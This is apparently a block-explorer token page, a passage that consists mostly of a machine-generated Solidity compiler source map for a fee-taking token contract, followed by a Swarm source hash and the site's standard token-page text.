473:6;-1:-1:-1;;;;;9232:15:0;;;1473:6;;9232:15;9224:91;;;;-1:-1:-1;;;9224:91:0;;11063:2:1;9224:91:0;;;11045:21:1;11102:2;11082:18;;;11075:30;11141:34;11121:18;;;11114:62;11212:33;11192:18;;;11185:61;11263:19;;9224:91:0;10861:427:1;9224:91:0;9357:13;;-1:-1:-1;;;;;9351:19:0;;;9357:13;;9351:19;9348:146;;9424:14;;9415:6;9399:13;9409:2;9399:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9391:87;;;;-1:-1:-1;;;9391:87:0;;11757:2:1;9391:87:0;;;11739:21:1;11796:2;11776:18;;;11769:30;11835:34;11815:18;;;11808:62;-1:-1:-1;;;11886:18:1;;;11879:33;11929:19;;9391:87:0;11555:399:1;9391:87:0;9511:28;9542:24;9560:4;9542:9;:24::i;:::-;9620:19;;-1:-1:-1;;;;;9659:24:0;;9581:12;9659:24;;;:18;:24;;;;;;9511:55;;-1:-1:-1;9596:43:0;;;;9659:24;;9658:25;:48;;;;-1:-1:-1;9693:13:0;;-1:-1:-1;;;;;9687:19:0;;;9693:13;;9687:19;9658:48;9654:100;;;9716:19;;4686:21;-1:-1:-1;;;;;9716:19:0;;;:27;:37;9708:46;;;;;;9773:7;:18;;;;-1:-1:-1;9785:6:0;;-1:-1:-1;;;9785:6:0;;;;9784:7;9773:18;:43;;;;-1:-1:-1;9803:13:0;;-1:-1:-1;;;;;9795:21:0;;;9803:13;;9795:21;;9773:43;:58;;;;-1:-1:-1;9820:11:0;;-1:-1:-1;;;9820:11:0;;;;9773:58;:87;;;;-1:-1:-1;;;;;;9836:24:0;;;;;;:18;:24;;;;;;;;9835:25;9773:87;:114;;;;-1:-1:-1;;;;;;9865:22:0;;;;;;:18;:22;;;;;;;;9864:23;9773:114;9769:386;;;9908:38;9925:20;9908:16;:38::i;:::-;9994:21;10038:22;;10034:106;;10085:35;10098:21;10085:12;:35::i;:::-;9889:266;9769:386;9136:1030;;9050:1116;-1:-1:-1;;;;;10244:24:0;;10179:12;10244:24;;;:18;:24;;;;;;10194:4;;10244:24;;;:50;;-1:-1:-1;;;;;;10272:22:0;;;;;;:18;:22;;;;;;;;10244:50;10243:102;;;-1:-1:-1;10308:13:0;;-1:-1:-1;;;;;10300:21:0;;;10308:13;;10300:21;;;;:44;;-1:-1:-1;10331:13:0;;-1:-1:-1;;;;;10325:19:0;;;10331:13;;10325:19;;10300:44;10239:597;;;-1:-1:-1;10372:5:0;10239:597;;;10456:13;;-1:-1:-1;;;;;10448:21:0;;;10456:13;;10448:21;:55;;;;-1:-1:-1;10487:15:0;;-1:-1:-1;;;;;10473:30:0;;;10487:15;;10473:30;;10448:55;10445:162;;;10536:14;;10524:9;:26;10579:12;;10569:7;:22;10445:162;10667:13;;-1:-1:-1;;;;;10661:19:0;;;10667:13;;10661:19;:55;;;;-1:-1:-1;10700:15:0;;-1:-1:-1;;;;;10684:32:0;;;10700:15;;10684:32;;10661:55;10657:165;;;10749:15;;10737:9;:27;10793:13;;10783:7;:23;10657:165;10849:41;10864:4;10870:2;10874:6;10882:7;10849:14;:41::i;:::-;8807:2091;8704:2194;;;:::o;2393:224::-;2513:7;2549:12;2541:6;;;;2533:29;;;;-1:-1:-1;;;2533:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2573:9:0;2585:5;2589:1;2585;:5;:::i;:::-;2573:17;2393:224;-1:-1:-1;;;;;2393:224:0:o;11399:99::-;11456:17;;:34;;-1:-1:-1;;;;;11456:17:0;;;;:34;;;;;11483:6;;11456:17;:34;:17;:34;11483:6;11456:17;:34;;;;;;;;;;;;;;;;;;;7759:202;7854:7;7879:19;7901:10;:8;:10::i;:::-;7879:32;-1:-1:-1;7929:24:0;:7;7879:32;7929:11;:24::i;:::-;7922:31;7759:202;-1:-1:-1;;;7759:202:0:o;10907:483::-;5754:6;:13;;-1:-1:-1;;;;5754:13:0;-1:-1:-1;;;5754:13:0;;;11009:16:::1;::::0;;11023:1:::1;11009:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11009:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11009:16:0::1;10985:40;;11054:4;11036;11041:1;11036:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11036:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11080:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11080:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11036:7;;11080:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11070:4;11075:1;11070:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11070:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11145:15:::1;::::0;11113:62:::1;::::0;11130:4:::1;::::0;11145:15:::1;11163:11:::0;11113:8:::1;:62::i;:::-;11186:15;::::0;:196:::1;::::0;-1:-1:-1;;;11186:196:0;;-1:-1:-1;;;;;11186:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11267:11;;11186:15:::1;::::0;11309:4;;11336::::1;::::0;11356:15:::1;::::0;11186:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5790:6:0;:14;;-1:-1:-1;;;;5790:14:0;;;-1:-1:-1;;;;10907:483:0:o;11995:282::-;12151:7;12146:28;;12160:14;:12;:14::i;:::-;12185:44;12203:6;12211:9;12222:6;12185:17;:44::i;:::-;12245:7;12240:29;;12254:15;8256:17;;8244:9;:29;8294:15;;8284:7;:25;8200:117;15045:164;15087:7;15108:15;15125;15144:19;:17;:19::i;:::-;15107:56;;-1:-1:-1;15107:56:0;-1:-1:-1;15181:20:0;15107:56;;15181:11;:20::i;:::-;15174:27;;;;15045:164;:::o;2881:132::-;2939:7;2966:39;2970:1;2973;2966:39;;;;;;;;;;;;;;;;;:3;:39::i;7970:221::-;8017:9;;:14;:30;;;;-1:-1:-1;8035:7:0;;:12;8017:30;8013:43;;;7970:221::o;8013:43::-;8089:9;;;8069:17;:29;8127:7;;;8109:15;:25;-1:-1:-1;8148:13:0;;;;8172:11;7970:221::o;12286:618::-;12433:15;12463:23;12501:12;12528:23;12566:12;12593:13;12620:27;12631:6;12639:7;12620:10;:27::i;:::-;-1:-1:-1;;;;;12676:15:0;;;;;;:7;:15;;;;;;12418:229;;-1:-1:-1;12418:229:0;;-1:-1:-1;12418:229:0;;-1:-1:-1;12418:229:0;-1:-1:-1;12418:229:0;-1:-1:-1;12418:229:0;-1:-1:-1;12676:28:0;;12418:229;12676:19;:28::i;:::-;-1:-1:-1;;;;;12658:15:0;;;;;;;:7;:15;;;;;;:46;;;;12736:18;;;;;;;:39;;12759:15;12736:22;:39::i;:::-;-1:-1:-1;;;;;12715:18:0;;;;;;:7;:18;;;;;:60;12786:16;12796:5;12786:9;:16::i;:::-;12813:23;12825:4;12831;12813:11;:23::i;:::-;12869:9;-1:-1:-1;;;;;12852:44:0;12861:6;-1:-1:-1;;;;;12852:44:0;;12880:15;12852:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;12852:44:0;;;;;;;;12407:497;;;;;;12286:618;;;:::o;15218:257::-;15316:7;;15269;;;;4686:21;15384:20;15316:7;4686:21;15384:11;:20::i;:::-;15374:7;:30;15370:61;;;-1:-1:-1;;15414:7:0;;;4686:21;;-1:-1:-1;15218:257:0;-1:-1:-1;15218:257:0:o;15370:61::-;15450:7;;15459;;-1:-1:-1;15218:257:0;-1:-1:-1;15218:257:0:o;3022:223::-;3142:7;3177:12;3170:5;3162:28;;;;-1:-1:-1;;;3162:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3201:9:0;3213:5;3217:1;3213;:5;:::i;13327:688::-;13443:7;13465;13487;13509;13531;13553;13589:23;13614:12;13628:13;13658:40;13670:7;13679:9;;13690:7;;13658:11;:40::i;:::-;13588:110;;;;;;13709:19;13731:10;:8;:10::i;:::-;13709:32;;13753:15;13770:23;13795:12;13824:46;13836:7;13845:4;13851:5;13858:11;13824;:46::i;:::-;13752:118;;;;;;13895:19;;;;;;;;;-1:-1:-1;;;;;13895:19:0;-1:-1:-1;;;;;13885:29:0;:6;-1:-1:-1;;;;;13885:29:0;;13881:46;;13926:1;13916:11;;13881:46;13946:7;;13955:15;;-1:-1:-1;13946:7:0;;-1:-1:-1;13978:15:0;;-1:-1:-1;13995:4:0;;-1:-1:-1;13995:4:0;-1:-1:-1;13327:688:0;;-1:-1:-1;;;;13327:688:0:o;2248:136::-;2306:7;2333:43;2337:1;2340;2333:43;;;;;;;;;;;;;;;;;:3;:43::i;2060:179::-;2118:7;;2150:5;2154:1;2150;:5;:::i;:::-;2138:17;;2179:1;2174;:6;;2166:46;;;;-1:-1:-1;;;2166:46:0;;13765:2:1;2166:46:0;;;13747:21:1;13804:2;13784:18;;;13777:30;13843:29;13823:18;;;13816:57;13890:18;;2166:46:0;13563:351:1;12913:211:0;12966:19;12988:10;:8;:10::i;:::-;12966:32;-1:-1:-1;13009:13:0;13025:22;:5;12966:32;13025:9;:22::i;:::-;13099:4;13083:22;;;;:7;:22;;;;;;13009:38;;-1:-1:-1;13083:33:0;;13009:38;13083:26;:33::i;:::-;13074:4;13058:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12913:211:0:o;13133:147::-;13211:7;;:17;;13223:4;13211:11;:17::i;:::-;13201:7;:27;13252:10;;:20;;13267:4;13252:14;:20::i;:::-;13239:10;:33;-1:-1:-1;;13133:147:0:o;14024:469::-;14193:7;;;;14287:30;14313:3;14287:21;:7;14299:8;14287:11;:21::i;:::-;:25;;:30::i;:::-;14272:45;-1:-1:-1;14328:13:0;14344:28;14368:3;14344:19;:7;14356:6;14344:11;:19::i;:28::-;14328:44;-1:-1:-1;14383:23:0;14409:28;14328:44;14409:17;:7;14421:4;14409:11;:17::i;:::-;:21;;:28::i;:::-;14383:54;14473:4;;-1:-1:-1;14479:5:0;;-1:-1:-1;14024:469:0;;-1:-1:-1;;;;;14024:469:0:o;14502:534::-;14696:7;;;;14793:24;:7;14805:11;14793;:24::i;:::-;14775:42;-1:-1:-1;14828:12:0;14843:21;:4;14852:11;14843:8;:21::i;:::-;14828:36;-1:-1:-1;14875:13:0;14891:22;:5;14901:11;14891:9;:22::i;:::-;14875:38;-1:-1:-1;14924:23:0;14950:28;14875:38;14950:17;:7;14962:4;14950:11;:17::i;:28::-;14997:7;;;;-1:-1:-1;15023:4:0;;-1:-1:-1;14502:534:0;;-1:-1:-1;;;;;;;14502:534:0:o;2626:246::-;2684:7;2708:1;2713;2708:6;2704:47;;-1:-1:-1;2738:1:0;2731:8;;2704:47;2761:9;2773:5;2777:1;2773;:5;:::i;:::-;2761:17;-1:-1:-1;2806:1:0;2797:5;2801:1;2761:17;2797:5;:::i;:::-;:10;2789:56;;;;-1:-1:-1;;;2789:56:0;;14294:2:1;2789:56:0;;;14276:21:1;14333:2;14313:18;;;14306:30;14372:34;14352:18;;;14345:62;-1:-1:-1;;;14423:18:1;;;14416:31;14464:19;;2789:56:0;14092:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:118::-;2575:5;2568:13;2561:21;2554:5;2551:32;2541:60;;2597:1;2594;2587:12;2612:241;2668:6;2721:2;2709:9;2700:7;2696:23;2692:32;2689:52;;;2737:1;2734;2727:12;2689:52;2776:9;2763:23;2795:28;2817:5;2795:28;:::i;2858:247::-;2917:6;2970:2;2958:9;2949:7;2945:23;2941:32;2938:52;;;2986:1;2983;2976:12;2938:52;3025:9;3012:23;3044:31;3069:5;3044:31;:::i;3110:180::-;3169:6;3222:2;3210:9;3201:7;3197:23;3193:32;3190:52;;;3238:1;3235;3228:12;3190:52;-1:-1:-1;3261:23:1;;3110:180;-1:-1:-1;3110:180:1:o;3295:385::-;3381:6;3389;3397;3405;3458:3;3446:9;3437:7;3433:23;3429:33;3426:53;;;3475:1;3472;3465:12;3426:53;-1:-1:-1;;3498:23:1;;;3568:2;3553:18;;3540:32;;-1:-1:-1;3619:2:1;3604:18;;3591:32;;3670:2;3655:18;3642:32;;-1:-1:-1;3295:385:1;-1:-1:-1;3295:385:1:o;3685:388::-;3753:6;3761;3814:2;3802:9;3793:7;3789:23;3785:32;3782:52;;;3830:1;3827;3820:12;3782:52;3869:9;3856:23;3888:31;3913:5;3888:31;:::i;:::-;3938:5;-1:-1:-1;3995:2:1;3980:18;;3967:32;4008:33;3967:32;4008:33;:::i;:::-;4060:7;4050:17;;;3685:388;;;;;:::o;4078:356::-;4280:2;4262:21;;;4299:18;;;4292:30;4358:34;4353:2;4338:18;;4331:62;4425:2;4410:18;;4078:356::o;6409:251::-;6479:6;6532:2;6520:9;6511:7;6507:23;6503:32;6500:52;;;6548:1;6545;6538:12;6500:52;6580:9;6574:16;6599:31;6624:5;6599:31;:::i;7586:306::-;7674:6;7682;7690;7743:2;7731:9;7722:7;7718:23;7714:32;7711:52;;;7759:1;7756;7749:12;7711:52;7788:9;7782:16;7772:26;;7838:2;7827:9;7823:18;7817:25;7807:35;;7882:2;7871:9;7867:18;7861:25;7851:35;;7586:306;;;;;:::o;8176:245::-;8243:6;8296:2;8284:9;8275:7;8271:23;8267:32;8264:52;;;8312:1;8309;8302:12;8264:52;8344:9;8338:16;8363:28;8385:5;8363:28;:::i;11293:127::-;11354:10;11349:3;11345:20;11342:1;11335:31;11385:4;11382:1;11375:15;11409:4;11406:1;11399:15;11425:125;11490:9;;;11511:10;;;11508:36;;;11524:18;;:::i;11959:128::-;12026:9;;;12047:11;;;12044:37;;;12061:18;;:::i;12224:127::-;12285:10;12280:3;12276:20;12273:1;12266:31;12316:4;12313:1;12306:15;12340:4;12337:1;12330:15;12356:980;12618:4;12666:3;12655:9;12651:19;12697:6;12686:9;12679:25;12723:2;12761:6;12756:2;12745:9;12741:18;12734:34;12804:3;12799:2;12788:9;12784:18;12777:31;12828:6;12863;12857:13;12894:6;12886;12879:22;12932:3;12921:9;12917:19;12910:26;;12971:2;12963:6;12959:15;12945:29;;12992:1;13002:195;13016:6;13013:1;13010:13;13002:195;;;13081:13;;-1:-1:-1;;;;;13077:39:1;13065:52;;13172:15;;;;13137:12;;;;13113:1;13031:9;13002:195;;;-1:-1:-1;;;;;;;13253:32:1;;;;13248:2;13233:18;;13226:60;-1:-1:-1;;;13317:3:1;13302:19;13295:35;13214:3;12356:980;-1:-1:-1;;;12356:980:1:o;13341:217::-;13381:1;13407;13397:132;;13451:10;13446:3;13442:20;13439:1;13432:31;13486:4;13483:1;13476:15;13514:4;13511:1;13504:15;13397:132;-1:-1:-1;13543:9:1;;13341:217::o;13919:168::-;13992:9;;;14023;;14040:15;;;14034:22;;14020:37;14010:71;;14061:18;;:::i

Swarm Source

ipfs://02ba7b0386d38e1b8f80320ea514c0b81933d3b8c53092fc0d82decc396d4456
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.